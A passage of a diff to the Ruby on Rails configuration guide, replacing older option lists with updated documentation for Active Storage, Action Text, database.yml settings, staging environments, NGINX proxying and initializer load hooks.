-  is unnecessary unless you support browsers without JavaScript. In such case
-  you can either pass `authenticity_token: true` as a form option or set this
-  config setting to `true`.
+The default value depends on the `config.load_defaults` target version:
 
-* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template:
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| 6.0                   | `:active_storage_analysis` |
+| 6.1                   | `nil`                |
 
-    ```erb
-    <%= render @article %>
-    ```
+#### `config.active_storage.queues.mirror`
 
-    The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`.
+Accepts a symbol indicating the Active Job queue to use for direct upload
+mirroring jobs. When this option is `nil`, mirroring jobs are sent to the
+default Active Job queue (see [`config.active_job.default_queue_name`][]). The
+default is `nil`.
 
-* `config.action_view.raise_on_missing_translations` determines whether an
-  error should be raised for missing translations.
+#### `config.active_storage.queues.preview_image`
 
-* `config.action_view.automatically_disable_submit_tag` determines whether
-  submit_tag should automatically disable on click, this defaults to `true`.
+Accepts a symbol indicating the Active Job queue to use for preprocessing
+previews of images. When this option is `nil`, jobs are sent to the default
+Active Job queue (see [`config.active_job.default_queue_name`][]). The default
+is `nil`.
 
-* `config.action_view.debug_missing_translation` determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`.
+#### `config.active_storage.queues.purge`
 
-### Configuring Action Mailer
+Accepts a symbol indicating the Active Job queue to use for purge jobs. When
+this option is `nil`, purge jobs are sent to the default Active Job queue (see
+[`config.active_job.default_queue_name`][]).
 
-There are a number of settings available on `config.action_mailer`:
+The default value depends on the `config.load_defaults` target version:
 
-* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| 6.0                   | `:active_storage_purge` |
+| 6.1                   | `nil`                |
 
-* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
-    * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-    * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
-    * `:domain` - If you need to specify a HELO domain, you can do it here.
-    * `:user_name` - If your mail server requires authentication, set the username in this setting.
-    * `:password` - If your mail server requires authentication, set the password in this setting.
-    * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
-    * `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`.
-    * `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, `:none` or `:peer` -- or the constant directly `OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`, respectively.
-    * `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection).
+#### `config.active_storage.queues.transform`
 
-* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
-    * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
-    * `:arguments` - The command line arguments. Defaults to `-i`.
+Accepts a symbol indicating the Active Job queue to use for preprocessing
+variants. When this option is `nil`, jobs are sent to the default Active Job
+queue (see [`config.active_job.default_queue_name`][]). The default is `nil`.
 
-* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`.
+#### `config.active_storage.logger`
 
-* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info.
+Can be used to set the logger used by Active Storage. Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class.
 
-* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to `false` for testing.
+```ruby
+config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)
+```
 
-* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+#### `config.active_storage.service_urls_expire_in`
 
-    ```ruby
-    mime_version:  "1.0",
-    charset:       "UTF-8",
-    content_type: "text/plain",
-    parts_order:  ["text/plain", "text/enriched", "text/html"]
-    ```
+Determines the default expiry of URLs generated by:
 
-    Assign a hash to set additional options:
+* [`ActiveStorage::Blob#url`][]
+* [`ActiveStorage::Blob#service_url_for_direct_upload`][]
+* [`ActiveStorage::Preview#url`][]
+* [`ActiveStorage::Variant#url`][]
 
-    ```ruby
-    config.action_mailer.default_options = {
-      from: "noreply@example.com"
-    }
-    ```
+The default is 5 minutes.
 
-* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
+[`ActiveStorage::Blob#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-url
+[`ActiveStorage::Blob#service_url_for_direct_upload`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-service_url_for_direct_upload
+[`ActiveStorage::Preview#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Preview.html#method-i-url
+[`ActiveStorage::Variant#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Variant.html#method-i-url
 
-    ```ruby
-    config.action_mailer.observers = ["MailObserver"]
-    ```
+#### `config.active_storage.urls_expire_in`
 
-* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
+Determines the default expiry of URLs in the Rails application generated by Active Storage. The default is nil.
 
-    ```ruby
-    config.action_mailer.interceptors = ["MailInterceptor"]
-    ```
+#### `config.active_storage.touch_attachment_records`
 
-* `config.action_mailer.preview_path` specifies the location of mailer previews.
+Directs ActiveStorage::Attachments to touch its corresponding record when updated. The default is true.
 
-    ```ruby
-    config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
-    ```
+#### `config.active_storage.routes_prefix`
 
-* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development.
+Can be used to set the route prefix for the routes served by Active Storage. Accepts a string that will be prepended to the generated routes.
 
-    ```ruby
-    config.action_mailer.show_previews = false
-    ```
+```ruby
+config.active_storage.routes_prefix = "/files"
+```
 
-* `config.action_mailer.deliver_later_queue_name` specifies the queue name for
-  mailers. By default this is `mailers`.
+The default is `/rails/active_storage`.
 
-* `config.action_mailer.perform_caching` specifies whether the mailer templates should perform fragment caching or not. By default this is `false` in all environments.
+#### `config.active_storage.track_variants`
 
+Determines whether variants are recorded in the database.
 
-### Configuring Active Support
+The default value depends on the `config.load_defaults` target version:
 
-There are a few configuration options available in Active Support:
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 6.1                   | `true`               |
 
-* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+#### `config.active_storage.draw_routes`
 
-* `config.active_support.test_order` sets the order in which the test cases are executed. Possible values are `:random` and `:sorted`. Defaults to `:random`.
+Can be used to toggle Active Storage route generation. The default is `true`.
 
-* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`.
+#### `config.active_storage.resolve_model_to_route`
 
-* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+Can be used to globally change how Active Storage files are delivered.
 
-* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+Allowed values are:
 
-* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+* `:rails_storage_redirect`: Redirect to signed, short-lived service URLs.
+* `:rails_storage_proxy`: Proxy files by downloading them.
 
-* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
+The default is `:rails_storage_redirect`.
 
-* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
+#### `config.active_storage.video_preview_arguments`
 
-* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
+Can be used to alter the way ffmpeg generates video preview images.
 
-* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
+The default value depends on the `config.load_defaults` target version:
 
-### Configuring Active Job
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `"-y -vframes 1 -f image2"` |
+| 7.0                   | `"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015)"`<sup><mark><strong><em>1</em></strong></mark></sup> <br> `+ ",loop=loop=-1:size=2,trim=start_frame=1'"`<sup><mark><strong><em>2</em></strong></mark></sup><br> `+ " -frames:v 1 -f image2"` <br><br> <ol><li>Select the first video frame, plus keyframes, plus frames that meet the scene change threshold.</li> <li>Use the first video frame as a fallback when no other frames meet the criteria by looping the first (one or) two selected frames, then dropping the first looped frame.</li></ol> |
 
-`config.active_job` provides the following configuration options:
+#### `config.active_storage.multiple_file_field_include_hidden`
 
-* `config.active_job.queue_adapter` sets the adapter for the queueing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+In Rails 7.1 and beyond, Active Storage `has_many_attached` relationships will
+default to _replacing_ the current collection instead of _appending_ to it. Thus
+to support submitting an _empty_ collection, when `multiple_file_field_include_hidden`
+is `true`, the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field)
+helper will render an auxiliary hidden field, similar to the auxiliary field
+rendered by the [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox)
+helper.
 
-    ```ruby
-    # Be sure to have the adapter's gem in your Gemfile
-    # and follow the adapter's specific installation
-    # and deployment instructions.
-    config.active_job.queue_adapter = :sidekiq
-    ```
+The default value depends on the `config.load_defaults` target version:
 
-* `config.active_job.default_queue_name` can be used to change the default queue name. By default this is `"default"`.
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `false`              |
+| 7.0                   | `true`               |
 
-    ```ruby
-    config.active_job.default_queue_name = :medium_priority
-    ```
+#### `config.active_storage.precompile_assets`
 
-* `config.active_job.queue_name_prefix` allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used.
+Determines whether the Active Storage assets should be added to the asset pipeline precompilation. It
+has no effect if Sprockets is not used. The default value is `true`.
 
-    The following configuration would queue the given job on the `production_high_priority` queue when run in production:
+### Configuring Action Text
 
-    ```ruby
-    config.active_job.queue_name_prefix = Rails.env
-    ```
+#### `config.action_text.attachment_tag_name`
 
-    ```ruby
-    class GuestsCleanupJob < ActiveJob::Base
-      queue_as :high_priority
-      #....
-    end
-    ```
+Accepts a string for the HTML tag used to wrap attachments. Defaults to `"action-text-attachment"`.
 
-* `config.active_job.queue_name_delimiter` has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name.
+#### `config.action_text.sanitizer_vendor`
 
-    The following configuration would queue the provided job on the `video_server.low_priority` queue:
+Configures the HTML sanitizer used by Action Text by setting `ActionText::ContentHelper.sanitizer` to an instance of the class returned from the vendor's `.safe_list_sanitizer` method. The default value depends on the `config.load_defaults` target version:
 
-    ```ruby
-    # prefix must be set for delimiter to be used
-    config.active_job.queue_name_prefix = 'video_server'
-    config.active_job.queue_name_delimiter = '.'
-    ```
+| Starting with version | The default value is                 | Which parses markup as |
+|-----------------------|--------------------------------------|------------------------|
+| (original)            | `Rails::HTML4::Sanitizer`            | HTML4                  |
+| 7.1                   | `Rails::HTML5::Sanitizer` (see NOTE) | HTML5                  |
 
-    ```ruby
-    class EncoderJob < ActiveJob::Base
-      queue_as :low_priority
-      #....
-    end
-    ```
+NOTE: `Rails::HTML5::Sanitizer` is not supported on JRuby, so on JRuby platforms Rails will fall back to `Rails::HTML4::Sanitizer`.
 
-* `config.active_job.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging.
+#### `Regexp.timeout`
 
-### Configuring Action Cable
 
-* `config.action_cable.url` accepts a string for the URL for where
- you are hosting your Action Cable server. You would use this option
-if you are running Action Cable servers that are separated from your
-main application.
-* `config.action_cable.mount_path` accepts a string for where to mount Action
-  Cable, as part of the main server process. Defaults to `/cable`.
-You can set this as nil to not mount Action Cable as part of your
-normal Rails server.
+See Ruby's documentation for [`Regexp.timeout=`](https://docs.ruby-lang.org/en/master/Regexp.html#method-c-timeout-3D).
 
 ### Configuring a Database
 
@@ -721,8 +3588,7 @@ development:
 This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
 
 ```ruby
-> puts ENV['DATABASE_URL']
-postgresql://localhost/blog_development?pool=5
+ENV["DATABASE_URL"] # => "postgresql://localhost/blog_development?pool=5"
 ```
 
 The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
@@ -733,24 +3599,28 @@ The `config/database.yml` file contains sections for three different environment
 
 If you wish, you can manually specify a URL inside of your `config/database.yml`
 
-```
+```yaml
 development:
   url: postgresql://localhost/blog_development?pool=5
 ```
 
 The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
 
+When using a `ENV['DATABASE_URL']` or a `url` key in your `config/database.yml`
+file, Rails allows mapping the protocol in the URL to a database adapter that
+can be configured from within the application. This allows the adapter to be
+configured without modifying the URL set in the deployment environment. See:
+[`config.active_record.protocol_adapters`](#config-active-record-protocol-adapters).
 
 TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
 
-
 ### Connection Preference
 
 Since there are two ways to configure your connection (using `config/database.yml` or using an environment variable) it is important to understand how they can interact.
 
 If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
 
-```
+```bash
 $ cat config/database.yml
 
 $ echo $DATABASE_URL
@@ -759,7 +3629,7 @@ postgresql://localhost/my_database
 
 If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
 
-```
+```bash
 $ cat config/database.yml
 development:
   adapter: postgresql
@@ -773,7 +3643,7 @@ If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails
 
 When duplicate connection information is provided the environment variable will take precedence:
 
-```
+```bash
 $ cat config/database.yml
 development:
   adapter: sqlite3
@@ -783,15 +3653,20 @@ development:
 $ echo $DATABASE_URL
 postgresql://localhost/my_database
 
-$ bin/rails runner 'puts ActiveRecord::Base.configurations'
-{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
+#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
+  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
+    @env_name="development", @spec_name="primary",
+    @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost"}
+    @url="postgresql://localhost/my_database">
+  ]
 ```
 
 Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
 
 If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
 
-```
+```bash
 $ cat config/database.yml
 development:
   adapter: sqlite3
@@ -800,15 +3675,20 @@ development:
 $ echo $DATABASE_URL
 postgresql://localhost/my_database
 
-$ bin/rails runner 'puts ActiveRecord::Base.configurations'
-{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
+#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
+  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
+    @env_name="development", @spec_name="primary",
+    @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost", "pool"=>5}
+    @url="postgresql://localhost/my_database">
+  ]
 ```
 
 Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
 
 The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:
 
-```
+```bash
 $ cat config/database.yml
 development:
   url: sqlite3:NOT_my_database
@@ -816,15 +3696,20 @@ development:
 $ echo $DATABASE_URL
 postgresql://localhost/my_database
 
-$ bin/rails runner 'puts ActiveRecord::Base.configurations'
-{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
+#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
+  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
+    @env_name="development", @spec_name="primary",
+    @config={"adapter"=>"sqlite3", "database"=>"NOT_my_database"}
+    @url="sqlite3:NOT_my_database">
+  ]
 ```
 
 Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
 
 Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
 
-```
+```bash
 $ cat config/database.yml
 production:
   url: <%= ENV['DATABASE_URL'] %>
@@ -834,19 +3719,32 @@ Now the behavior is clear, that we are only using the connection information in
 
 #### Configuring an SQLite3 Database
 
-Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+Rails comes with built-in support for [SQLite3](https://www.sqlite.org), which is a lightweight serverless database application. While Rails better configures SQLite for production workloads, a busy production environment may overload SQLite. Rails defaults to using an SQLite database when creating a new project because it is a zero configuration database that just works, but you can always change it later.
 
 Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
 
 ```yaml
 development:
   adapter: sqlite3
-  database: db/development.sqlite3
+  database: storage/development.sqlite3
   pool: 5
   timeout: 5000
 ```
 
-NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+[SQLite extensions](https://sqlite.org/loadext.html) are supported when using `sqlite3` gem v2.4.0 or later by configuring `extensions`:
+
+``` yaml
+development:
+  adapter: sqlite3
+  extensions:
+    - SQLean::UUID                     # module name responding to `.to_path`
+    - .sqlpkg/nalgeon/crypto/crypto.so # or a filesystem path
+    - <%= AppExtensions.location %>    # or ruby code returning a path
+```
+
+Many useful features can be added to SQLite through extensions. You may wish to browse the [SQLite extension hub](https://sqlpkg.org/) or use gems like [`sqlpkg-ruby`](https://github.com/fractaledmind/sqlpkg-ruby) and [`sqlean-ruby`](https://github.com/flavorjones/sqlean-ruby) that simplify extension management.
+
+Other configuration options are described in the [SQLite3Adapter documentation]( https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html).
 
 #### Configuring a MySQL or MariaDB Database
 
@@ -855,7 +3753,7 @@ If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, y
 ```yaml
 development:
   adapter: mysql2
-  encoding: utf8
+  encoding: utf8mb4
   database: blog_development
   pool: 5
   username: root
@@ -865,6 +3763,16 @@ development:
 
 If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
 
+NOTE: If your MySQL version is 5.5 or 5.6 and want to use the `utf8mb4` character set by default, please configure your MySQL server to support the longer key prefix by enabling `innodb_large_prefix` system variable.
+
+Advisory Locks are enabled by default on MySQL and are used to make database migrations concurrent safe. You can disable advisory locks by setting `advisory_locks` to `false`:
+
+```yaml
+production:
+  adapter: mysql2
+  advisory_locks: false
+```
+
 #### Configuring a PostgreSQL Database
 
 If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
@@ -877,17 +3785,17 @@ development:
   pool: 5
 ```
 
-Prepared Statements are enabled by default on PostgreSQL. You can disable prepared statements by setting `prepared_statements` to `false`:
+By default Active Record uses a database feature called advisory locks. You might need to disable this feature if you're using an external connection pooler like PgBouncer:
 
 ```yaml
 production:
   adapter: postgresql
-  prepared_statements: false
+  advisory_locks: false
 ```
 
 If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:
 
-```
+```yaml
 production:
   adapter: postgresql
   statement_limit: 200
@@ -902,7 +3810,7 @@ If you choose to use SQLite3 and are using JRuby, your `config/database.yml` wil
 ```yaml
 development:
   adapter: jdbcsqlite3
-  database: db/development.sqlite3
+  database: storage/development.sqlite3
 ```
 
 #### Configuring a MySQL or MariaDB Database for JRuby Platform
@@ -932,19 +3840,92 @@ development:
 
 Change the username and password in the `development` section as appropriate.
 
+#### Configuring Metadata Storage
+
+By default Rails will store information about your Rails environment and schema
+in an internal table named `ar_internal_metadata`.
+
+To turn this off per connection, set `use_metadata_table` in your database
+configuration. This is useful when working with a shared database and/or
+database user that cannot create tables.
+
+```yaml
+development:
+  adapter: postgresql
+  use_metadata_table: false
+```
+
+#### Configuring Retry Behavior
+
+By default, Rails will automatically reconnect to the database server and retry certain queries
+if something goes wrong. Only safely retryable (idempotent) queries will be retried. The number
+of retries can be specified in your the database configuration via `connection_retries`, or disabled
+by setting the value to 0. The default number of retries is 1.
+
+```yaml
+development:
+  adapter: mysql2
+  connection_retries: 3
+```
+
+The database config also allows a `retry_deadline` to be configured. If a `retry_deadline` is configured,
+an otherwise-retryable query will _not_ be retried if the specified time has elapsed while the query was
+first tried. For example, a `retry_deadline` of 5 seconds means that if 5 seconds have passed since a query
+was first attempted, we won't retry the query, even if it is idempotent and there are `connection_retries` left.
+
+This value defaults to nil, meaning that all retryable queries are retried regardless of time elapsed.
+The value for this config should be specified in seconds.
+
+```yaml
+development:
+  adapter: mysql2
+  retry_deadline: 5 # Stop retrying queries after 5 seconds
+```
+
+#### Configuring Query Cache
+
+By default, Rails automatically caches the result sets returned by queries. If Rails encounters the same query
+again for that request or job, it will use the cached result set as opposed to running the query against
+the database again.
+
+The query cache is stored in memory, and to avoid using too much memory, it automatically evicts the least recently
+used queries when reaching a threshold. By default the threshold is `100`, but can be configured in the `database.yml`.
+
+```yaml
+development:
+  adapter: mysql2
+  query_cache: 200
+```
+
+To entirely disable query caching, it can be set to `false`
+
+```yaml
+development:
+  adapter: mysql2
+  query_cache: false
+```
+
 ### Creating Rails Environments
 
 By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
 
-Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Since this is a production-like environment, you could copy the contents of `config/environments/production.rb` as a starting point and make the necessary changes from there. It's also possible to require and extend other environment configurations like this:
+
+```ruby
+# config/environments/staging.rb
+require_relative "production"
 
-That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+Rails.application.configure do
+  # Staging overrides
+end
+```
 
+That environment is no different than the default ones, start a server with `bin/rails server -e staging`, a console with `bin/rails console -e staging`, `Rails.env.staging?` works, etc.
 
-### Deploy to a subdirectory (relative url root)
+### Deploy to a Subdirectory (relative URL root)
 
 By default Rails expects that your application is running at the root
-(eg. `/`). This section explains how to run your application inside a directory.
+(e.g. `/`). This section explains how to run your application inside a directory.
 
 Let's assume we want to deploy our application to "/app1". Rails needs to know
 this directory to generate the appropriate routes:
@@ -968,17 +3949,17 @@ Deploying your application using a reverse proxy has definite advantages over tr
 
 Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.
 
-One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy.
+One such application server you can use is [Unicorn](https://bogomips.org/unicorn/) to run behind a reverse proxy.
 
 In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.
 
-You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it.
+You can find more information in the [Unicorn readme](https://bogomips.org/unicorn/README.html) and understand the [philosophy](https://bogomips.org/unicorn/PHILOSOPHY.html) behind it.
 
 Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:
 
-```
+```nginx
 upstream application_server {
-  server 0.0.0.0:8080
+  server 0.0.0.0:8080;
 }
 
 server {
@@ -1000,7 +3981,7 @@ server {
 }
 ```
 
-Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information.
+Be sure to read the [NGINX documentation](https://nginx.org/en/docs/) for the most up-to-date information.
 
 
 Rails Environment Settings
@@ -1018,22 +3999,169 @@ Some parts of Rails can also be configured externally by supplying environment v
 Using Initializer Files
 -----------------------
 
-After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+After loading the framework and any gems in your application, Rails turns to
+loading initializers. An initializer is any Ruby file stored under
+`config/initializers` in your application. You can use initializers to hold
+configuration settings that should be made after all of the frameworks and gems
+are loaded, such as options to configure settings for these parts.
+
+The files in `config/initializers` (and any subdirectories of
+`config/initializers`) are sorted and loaded one by one as part of
+the `load_config_initializers` initializer.
+
+If an initializer has code that relies on code in another initializer, you can
+combine them into a single initializer instead. This makes the dependencies more
+explicit, and can help surface new concepts within your application. Rails also
+supports numbering of initializer file names, but this can lead to file name
+churn. Explicitly loading initializers with `require` is not recommended, since
+it will cause the initializer to get loaded twice.
+
+NOTE: There is no guarantee that your initializers will run after all the gem
+initializers, so any initialization code that depends on a given gem having been
+initialized should go into a `config.after_initialize` block.
+
+Load Hooks
+----------
+
+Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as `ActiveRecord::Base`, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as `ActiveRecord::Base` on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application.
+
+Load and configuration hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts.
+
+### Avoid Loading Rails Frameworks
+
+Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance:
+
+```ruby
+ActiveRecord::Base.include(MyActiveRecordHelper)
+```
+
+This snippet means that when this file is loaded, it will encounter `ActiveRecord::Base`. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot.
+
+`ActiveSupport.on_load` is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to:
+
+```ruby
+ActiveSupport.on_load(:active_record) do
+  include MyActiveRecordHelper
+end
+```
+
+This new snippet will only include `MyActiveRecordHelper` when `ActiveRecord::Base` is loaded.
+
+### When are Hooks called?
+
+In the Rails framework these hooks are called when a specific library is loaded. For example, when `ActionController::Base` is loaded, the `:action_controller_base` hook is called. This means that all `ActiveSupport.on_load` calls with `:action_controller_base` hooks will be called in the context of `ActionController::Base` (that means `self` will be an `ActionController::Base`).
+
+### Modifying Code to Use Load Hooks
+
+Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as `ActiveRecord::Base` you can wrap that code in a load hook.
+
+**Modifying calls to `include`**
+
+```ruby
+ActiveRecord::Base.include(MyActiveRecordHelper)
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:active_record) do
+  # self refers to ActiveRecord::Base here,
+  # so we can call .include
+  include MyActiveRecordHelper
+end
+```
+
+**Modifying calls to `prepend`**
+
+```ruby
+ActionController::Base.prepend(MyActionControllerHelper)
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:action_controller_base) do
+  # self refers to ActionController::Base here,
+  # so we can call .prepend
+  prepend MyActionControllerHelper
+end
+```
+
+**Modifying calls to class methods**
+
+```ruby
+ActiveRecord::Base.include_root_in_json = true
+```
 
-NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+becomes
 
-TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+```ruby
+ActiveSupport.on_load(:active_record) do
+  # self refers to ActiveRecord::Base here
+  self.include_root_in_json = true
+end
+```
 
-Initialization events
+### Available Load Hooks
+
+These are the load hooks you can use in your own code. To hook into the initialization process of one of the following classes use the available hook.
+
+| Class                                | Hook                                 |
+| -------------------------------------| ------------------------------------ |
+| `ActionCable`                        | `action_cable`                       |
+| `ActionCable::Channel::Base`         | `action_cable_channel`               |
+| `ActionCable::Connection::Base`      | `action_cable_connection`            |
+| `ActionCable::Connection::TestCase`  | `action_cable_connection_test_case`  |
+| `ActionController::API`              | `action_controller_api`              |
